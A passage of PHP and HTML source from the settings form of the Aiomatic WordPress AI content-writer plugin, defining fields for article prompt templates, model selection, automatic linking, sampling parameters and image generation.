by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="content_prompt" id="content_prompt1a" placeholder="Enter your content prompt" class="valuesai1a cr_width_full">Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don't add the title at the beginning of the created content. Be creative and unique. Don't repeat the heading in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model1a" name="topic_content_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-11a" name="single_content_call" onclick="hideTOC(-1);" class="valuesai1a"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="qa_prompt" id="qa_prompt1a" placeholder="Enter your Q&A prompts, one per line" class="valuesai1a cr_width_full">Write a Q&A for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model1a" name="topic_qa_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="outro_prompt" id="outro_prompt1a" placeholder="Enter your outro prompts, one per line" class="valuesai1a cr_width_full">Write an outro for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model1a" name="topic_outro_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="excerpt_prompt" id="excerpt_prompt1a" placeholder="Enter your excerpt prompts, one per line" class="valuesai1a cr_width_full">Write a short excerpt for an article about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model1a" name="topic_excerpt_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex_prompts" id="strip_by_regex_prompts1a" placeholder="regex expression" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex_prompts" id="replace_regex_prompts1a" placeholder="regex replacement" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on1a" name="run_regex_on" type="text" list="run_regex_on_list1a" class="valuesai1a coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list1a"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend1a" placeholder="Global prompt prepend text" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append1a" placeholder="Global prompt append text" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai1a cr_width_full" id="link_type1a" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links1a" placeholder="3-5" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list1a" placeholder="URL list (one per line)" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow1a" name="link_nofollow" class="valuesai1a"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types1a" placeholder="post" class="valuesai1a cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens1a" value="" placeholder="32768" class="valuesai1a cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens1a" value="" placeholder="1000" class="valuesai1a cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature1a" value="" placeholder="1" class="valuesai1a cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p1a" value="" placeholder="1" class="valuesai1a cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty1a" value="" placeholder="0" class="valuesai1a cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty1a" value="" placeholder="0" class="valuesai1a cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition1a" name="search_query_repetition" class="valuesai1a cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images1a" onchange="hideImage('1a');" name="enable_ai_images" class="valuesai1a cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg1a cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image1a" placeholder="Please insert a command for the AI image generator" class="valuesai1a cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle1a cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model1a" name="image_model" class="valuesai1a cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg1a cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model1a" name="image_size" class="cr_width_full valuesai1a"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend1a" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full valuesai1a"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append1a" placeholder="HTML content to append to the AI generated content" class="cr_width_full valuesai1a"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that 